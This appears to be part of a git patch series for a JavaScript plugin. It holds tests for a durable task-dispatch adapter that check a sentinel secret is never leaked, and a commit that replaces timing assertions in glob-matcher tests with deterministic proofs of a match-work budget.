(plan.assignment_id === laneB.assignment_id) throw new Error(HOSTILE_SECRET); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + mixedInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + mixedCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const mixed = await createDurableAdapter(mixedHooks); + try { + const submitted = await mixed.adapter.dispatch('delegate', runArgs); + assert.equal(submitted.operation, 'submit'); + assert.equal(submitted.lanes.length, 2); + assert.equal(laneByAssignment(submitted, laneA.assignment_id).status, 'dispatched'); + assert.equal(laneByAssignment(submitted, laneB.assignment_id).status, 'unresolved'); + assert.equal(submitted.complete_candidate_blocked, true); + assertZeroReplay(submitted); + assert.equal(mixedDispatch.includes(laneA.assignment_id), true); + assert.equal(mixedDispatch.includes(laneB.assignment_id), true); + assert.equal(mixedInspect.length, 0); + const persisted = await readDurablePlan(mixed.root); + assert.equal(persisted.dispatched, false); + assert.equal(persisted.assignment_dispatch.length, 2); + assert.equal(persisted.assignment_dispatch[0].assignment_id, laneA.assignment_id); + assert.equal(persisted.assignment_dispatch[0].dispatched, true); + assert.equal(persisted.assignment_dispatch[1].assignment_id, laneB.assignment_id); + assert.equal(persisted.assignment_dispatch[1].dispatched, false); + assert.equal(inspect(submitted).includes(HOSTILE_SECRET), false); + + const reopen = () => createDurableAdapter({ root: mixed.root, ...mixedHooks }); + const dispatchCount = mixedDispatch.length; + + const statusAdapter = await reopen(); + const reconstructed = await statusAdapter.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + const reconstructedA = laneByAssignment(reconstructed, laneA.assignment_id); + const reconstructedB = laneByAssignment(reconstructed, laneB.assignment_id); + assert.equal(reconstructedA.dispatched, true); + assert.equal(reconstructedA.status, 'completed'); + assertNeverDispatchedLane(reconstructedB, mixedInspect, mixedCancel); + assert.equal(reconstructedB.unresolved.code, 'dispatch_failed'); + assert.equal(reconstructed.complete_candidate_blocked, true); + const inspected = await statusAdapter.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.operation, 'status'); + assert.equal(inspected.tool, 'status'); + assert.equal(laneByAssignment(inspected, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(inspected, laneB.assignment_id).status, 'unresolved'); + assert.equal(laneByAssignment(inspected, laneB.assignment_id).unresolved.code, 'dispatch_failed'); + assert.equal(inspected.complete_candidate_blocked, true); + assert.equal(inspected.decision_or_attention.unresolved_required_blocks, true); + assertZeroReplay(inspected); + assert.equal(mixedInspect.includes(laneA.assignment_id), true); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedCancel.length, 0); + assert.equal(inspect(inspected).includes(HOSTILE_SECRET), false); + + const resumeAdapter = await reopen(); + const resumed = await resumeAdapter.adapter.dispatch('task', { + run_id: RUN_ID, + wait_until: 'decision_or_attention', + wait_ms: 0, + }); + assert.equal(resumed.operation, 'wait'); + assert.equal(resumed.tool, 'task'); + assert.equal(laneByAssignment(resumed, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(resumed, laneB.assignment_id).status, 'unresolved'); + assert.equal(resumed.complete_candidate_blocked, true); + assertZeroReplay(resumed); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedCancel.length, 0); + + const resubmitAdapter = await reopen(); + const resubmit = await resubmitAdapter.adapter.dispatch('delegate', runArgs); + assert.equal(resubmit.operation, 'submit'); + assert.equal(resubmit.tool, 'delegate'); + assert.equal(laneByAssignment(resubmit, laneA.assignment_id).status, 'completed'); + assert.equal(laneByAssignment(resubmit, laneB.assignment_id).status, 'unresolved'); + assert.equal(resubmit.complete_candidate_blocked, true); + assertZeroReplay(resubmit); + assert.equal(mixedDispatch.length, dispatchCount); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + + const cancelAdapter = await reopen(); + const cancelled = await cancelAdapter.adapter.dispatch('cancel', { + run_id: RUN_ID, + assignment_ids: [laneA.assignment_id, laneB.assignment_id], + }); + assert.equal(cancelled.operation, 'cancel'); + assert.equal(cancelled.tool, 'cancel'); + assert.equal(cancelled.complete_candidate_blocked, true); + assertZeroReplay(cancelled); + assert.equal(laneByAssignment(cancelled, laneA.assignment_id).status, 'cancelled'); + const cancelledB = laneByAssignment(cancelled, laneB.assignment_id); + assert.equal(cancelledB.status, 'unresolved'); + assert.equal(cancelledB.unresolved.code, 'safe_cancel_unconfirmed'); + assert.notEqual(cancelledB.cancel_confirmed, true); + assert.equal(mixedCancel.includes(laneA.assignment_id), true); + assert.equal(mixedCancel.includes(laneB.assignment_id), false); + assert.equal(mixedInspect.includes(laneB.assignment_id), false); + assert.equal(mixedDispatch.length, dispatchCount); + const afterCancel = await readDurablePlan(mixed.root); + assert.equal(afterCancel.assignment_dispatch[0].dispatched, true); + assert.equal(afterCancel.assignment_dispatch[1].dispatched, false); + assert.equal(inspect(cancelled).includes(HOSTILE_SECRET), false); + } finally { + await rm(mixed.root, { recursive: true, force: true }); + } + + const zeroDispatch = []; + const zeroInspect = []; + const zeroCancel = []; + const zeroHooks = { + delegateTask: async (plan) => { + zeroDispatch.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + zeroInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + zeroCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + beforeProviderDispatch: async () => { + throw new RunContractV1Error( + 'durable_state_mismatch', + 'plan', + 'Durable run state is stale, partial, or mismatched.', + ); + }, + }; + const zero = await createDurableAdapter(zeroHooks); + try { + const crashed = await errorOf(() => zero.adapter.dispatch('delegate', runArgs)); + assert.equal(crashed.code, 'durable_state_mismatch'); + assertContentFree(crashed); + assert.equal(zeroDispatch.length, 0); + const zeroPlan = await readDurablePlan(zero.root); + assert.equal(zeroPlan.dispatched, false); + assert.equal(zeroPlan.assignment_dispatch.every((fact) => fact.dispatched === false), true); + const zeroRestart = await createDurableAdapter({ root: zero.root, ...zeroHooks }); + const zeroStatus = await zeroRestart.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(zeroStatus.lanes.length, 2); + assert.equal(zeroStatus.complete_candidate_blocked, true); + assertZeroReplay(zeroStatus); + for (const lane of zeroStatus.lanes) { + assert.equal(lane.status, 'unresolved'); + assert.equal(lane.unresolved.code, 'dispatch_failed'); + } + assert.equal(zeroInspect.length, 0); + assert.equal(zeroCancel.length, 0); + assert.equal(zeroDispatch.length, 0); + } finally { + await rm(zero.root, { recursive: true, force: true }); + } + + const allDispatch = []; + const allInspect = []; + const allCancel = []; + const allHooks = { + delegateTask: async (plan) => { + allDispatch.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'dispatched', cursor: '0' }; + }, + inspectTask: async (plan) => { + allInspect.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'completed', cursor: plan.cursor ?? '0' }; + }, + cancelTask: async (plan) => { + allCancel.push(plan.assignment_id); + return { task_id: plan.task_id, status: 'cancelled', cancelled: true }; + }, + }; + const all = await createDurableAdapter(allHooks); + try { + const submitted = await all.adapter.dispatch('delegate', runArgs); + assert.equal(submitted.lanes.every((lane) => lane.status === 'dispatched'), true); + assert.equal(submitted.complete_candidate_blocked, false); + const allPlan = await readDurablePlan(all.root); + assert.equal(allPlan.dispatched, true); + assert.equal(allPlan.assignment_dispatch.every((fact) => fact.dispatched === true), true); + const allRestart = await createDurableAdapter({ root: all.root, ...allHooks }); + const reconstructed = await allRestart.seams.scheduler.resumeAssignments({ run_id: RUN_ID }); + assert.equal(reconstructed.lanes.every((lane) => lane.dispatched === true), true); + assert.equal(reconstructed.lanes.every((lane) => lane.status === 'completed'), true); + assert.equal(reconstructed.complete_candidate_blocked, false); + const inspected = await allRestart.adapter.dispatch('status', { run_id: RUN_ID }); + assert.equal(inspected.lanes.every((lane) => lane.status === 'completed'), true); + assert.equal(inspected.complete_candidate_blocked, false); + assertZeroReplay(inspected); + assert.equal(allInspect.includes(laneA.assignment_id), true); + assert.equal(allInspect.includes(laneB.assignment_id), true); + assert.equal(allDispatch.length, 2); + assert.equal(allCancel.length, 0); + } finally { + await rm(all.root, { recursive: true, force: true }); + } +}); + test('stale partial and mismatched scheduler plans fail closed', async () => { const first = await createDurableAdapter(); try { From 4eeb340a03ba9ee4b1888ccf464f3c21601c483b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Thu, 27 Aug 2026 15:12:06 +0000 Subject: [PATCH 151/151] fix(v3): replace matcher wall-clock budget assertions with deterministic proof Remove the two host-load 500ms release assertions from the legal-cap and range-amplification batch tests. Prove the hostile legal-cap product 96 x 4,177,920 = 401,080,320 exceeds GLOB_MATCH_STEP_BUDGET while the same single pattern/path product 96 x 4,080 = 391,680 stays valid. Pin the exact typed aggregate error, repeat-call determinism, valid single-path result, and '**' batch behavior, and prove from source order that aggregate rejection follows bounded validation and precedes match-matrix DP. Correct only the bounded-work comments so they distinguish validation caps from pre-match DP rejection. Executable matcher bytes, exports, budgets, caps, error vocabulary, and behavior are unchanged. --- .../mcp/v3/repo-path-matcher.mjs | 26 +++++---- .../test/v3-repo-path-matcher.test.mjs | 57 ++++++++++++++++--- 2 files changed, 62 insertions(+), 21 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs b/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs index 6351c65..60608b3 100644 --- a/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs +++ b/plugins/codex-co-engineer/mcp/v3/repo-path-matcher.mjs @@ -48,15 +48,16 @@ // Reflect.apply, or Function#call/#bind therefore neither alters acceptance, // executes caller code, relaxes bounds, nor exposes private authority. // -// Bounded work, charged honestly: parsing is bounded by the fixed pattern -// caps. Matching work is bounded twice over — once per single call against -// GLOB_MATCH_STEP_BUDGET and once per batch as an aggregate product rejected -// before the first match. Both charges are computed from the private IR -// BEFORE any matching runs, and both charge character-class internals: -// every single adds 1 step and every range adds 2, so range-heavy patterns -// pay for the membership scans they cause and hostile range-count/work -// amplification is rejected deterministically instead of hiding behind a -// naive atom count. +// Bounded work, charged honestly: ingress validation is bounded by the +// fixed pattern, path, and batch caps and is not match-matrix work. +// Match-matrix work is bounded twice over — once per single call against +// GLOB_MATCH_STEP_BUDGET and once per batch as an aggregate product +// rejected before any match-matrix DP. Both charges are computed from the +// private IR BEFORE any matching runs, and both charge character-class +// internals: every single adds 1 step and every range adds 2, so +// range-heavy patterns pay for the membership scans they cause and +// hostile range-count/work amplification is rejected deterministically +// instead of hiding behind a naive atom count. // // Algorithm: bounded dynamic programming twice over — (pattern-segment x // path-segment) pairs, then (atom x code point) pairs with correctly seeded @@ -76,9 +77,10 @@ export const REPO_PATH_MATCHER_ID = 'codex-co-engineer.repo-path-matcher.v1'; // Bounds mirror the R1 repository-path validator and the R1 write-scope glob // limits so every manifest-accepted scope pattern stays inside the matchable -// envelope. GLOB_MATCH_STEP_BUDGET sits far above the largest charged product -// the caps allow and exists purely as defense in depth for both the -// single-path matrix and the aggregate batch product. +// envelope. GLOB_MATCH_STEP_BUDGET sits far above the largest charged +// single-path product the caps allow and is defense in depth for that +// matrix; a legal-cap aggregate batch product can exceed it and is rejected +// before match-matrix DP rather than matched unbounded. export const REPO_PATH_MAX_BYTES = 4096; export const REPO_PATH_MAX_SEGMENTS = 64; export const REPO_PATH_SEGMENT_MAX_BYTES = 255; diff --git a/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs b/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs index 14edf5a..17d2c00 100644 --- a/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs +++ b/plugins/codex-co-engineer/test/v3-repo-path-matcher.test.mjs @@ -519,11 +519,33 @@ test('the aggregate batch budget rejects the legal-cap stress before the first m assert.equal(Buffer.byteLength(stressPath, 'utf8'), 4079); const batch = Array.from({ length: REPO_PATH_BATCH_MAX }, () => stressPath); const pattern = Array.from({ length: GLOB_PATTERN_MAX_SEGMENTS }, () => '*[a-d]*?').join('/'); - const startedAt = process.hrtime.bigint(); - matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); - matchError(() => repoGlobMatchesAnyPath(pattern, batch), 'match_work_exceeded'); - const elapsedMs = Number(process.hrtime.bigint() - startedAt) / 1e6; - assert.ok(elapsedMs < 500, `aggregate rejection was not fast: ${elapsedMs}ms`); + // Charged work is reconstructed from the public grammar, not a test hook: + // each '*[a-d]*?' segment costs 1 (segment) + 1 (*) + 2 ([a-d] range) + + // 1 (*) + 1 (?) = 6, so 16 segments charge 96. Each path costs + // 16 * 254 code points + 16 segment slots = 4,080. The legal-cap batch + // product is 96 × 4,177,920 = 401,080,320, above GLOB_MATCH_STEP_BUDGET; + // the same single pattern/path product is 96 × 4,080 = 391,680 and stays + // valid. Rejection is therefore the aggregate pre-match check. + const chargedPatternWork = GLOB_PATTERN_MAX_SEGMENTS * (1 + 1 + 2 + 1 + 1); + const singlePathWork = 16 * 254 + 16; + const totalPathWork = REPO_PATH_BATCH_MAX * singlePathWork; + const aggregateProduct = chargedPatternWork * totalPathWork; + assert.equal(chargedPatternWork, 96); + assert.equal(singlePathWork, 4_080); + assert.equal(totalPathWork, 4_177_920); + assert.equal(aggregateProduct, 401_080_320); + assert.equal(GLOB_MATCH_STEP_BUDGET, 67_108_864); + assert.ok(aggregateProduct > GLOB_MATCH_STEP_BUDGET); + assert.equal(chargedPatternWork * singlePathWork, 391_680); + assert.ok(chargedPatternWork * singlePathWork < GLOB_MATCH_STEP_BUDGET); + const first = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); + const any = matchError(() => repoGlobMatchesAnyPath(pattern, batch), 'match_work_exceeded'); + assert.equal(first.location, 'paths'); + assert.equal(first.message, + `paths exceeds the ${GLOB_MATCH_STEP_BUDGET}-step aggregate batch match budget; chunk the batch.`); + assert.equal(any.code, first.code); + assert.equal(any.location, first.location); + assert.equal(any.message, first.message); // The same batch stays answerable when the product fits the budget. assert.equal(filterRepoPathsByGlob('**', batch).length, REPO_PATH_BATCH_MAX); assert.deepEqual(filterRepoPathsByGlob(pattern, ['src/x.ts']), []); // single-path semantics intact @@ -531,7 +553,6 @@ test('the aggregate batch budget rejects the legal-cap stress before the first m // aggregate batch product crosses the budget. assert.equal(repoGlobMatchesPath(pattern, stressPath), true); // Deterministic typed failure on repeat calls. - const first = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); const again = matchError(() => filterRepoPathsByGlob(pattern, batch), 'match_work_exceeded'); assert.equal(again.code, first.code); assert.equal(again.location, first.location); @@ -727,9 +748,30 @@ test('the matcher module source stays free of mutable dynamic surfaces', () => { for (const required of [ 'callBound(', 'IR_BY_HANDLE', 'chargedPatternSteps', 'reflectApply(functionProtoBind', 'snapshotPathBatch', 'assertValidatedOffsets', 'next[0] = current[0]', + 'assertAggregateBatchBudget', ]) { assert.ok(source.includes(required), `matcher source must contain ${required}`); } + // Bounded validation and pre-match DP rejection are distinct source steps: + // snapshotPathBatch still walks a legal batch; assertAggregateBatchBudget + // then rejects before irMatchesPathSegments allocates any match matrix. + const filterStart = source.indexOf('export function filterRepoPathsByGlob('); + const anyStart = source.indexOf('export function repoGlobMatchesAnyPath('); + assert.ok(filterStart >= 0 && anyStart > filterStart); + const filterSrc = source.slice(filterStart, anyStart); + const anySrc = source.slice(anyStart); + for (const [name, body] of [ + ['filterRepoPathsByGlob', filterSrc], + ['repoGlobMatchesAnyPath', anySrc], + ]) { + const validateAt = body.indexOf('snapshotPathBatch('); + const budgetAt = body.indexOf('assertAggregateBatchBudget('); + const matchAt = body.indexOf('irMatchesPathSegments('); + assert.ok(validateAt >= 0 && budgetAt >= 0 && matchAt >= 0, + `${name} must validate, budget-check, and match in source`); + assert.ok(validateAt < budgetAt && budgetAt < matchAt, + `${name} must reject aggregate budget after bounded validation and before match-matrix DP`); + } }); test('patched intrinsics after import cannot alter acceptance or bounds', async (t) => { @@ -1007,11 +1049,8 @@ test('hostile range-count amplification is rejected deterministically before mat assert.ok(chargedSteps * totalPathWork > GLOB_MATCH_STEP_BUDGET, 'test lost its point: charged accounting no longer rejects'); - const startedAt = process.hrtime.bigint(); const first = matchError(() => filterRepoPathsByGlob(densePattern, batch), 'match_work_exceeded'); const second = matchError(() => repoGlobMatchesAnyPath(densePattern, batch), 'match_work_exceeded'); - const elapsedMs = Number(process.hrtime.bigint() - startedAt) / 1e6; - assert.ok(elapsedMs < 500, `amplification rejection was not fast: ${elapsedMs}ms`); assert.equal(second.code, first.code); assert.equal(second.location, first.location); assert.equal(second.message, first.message);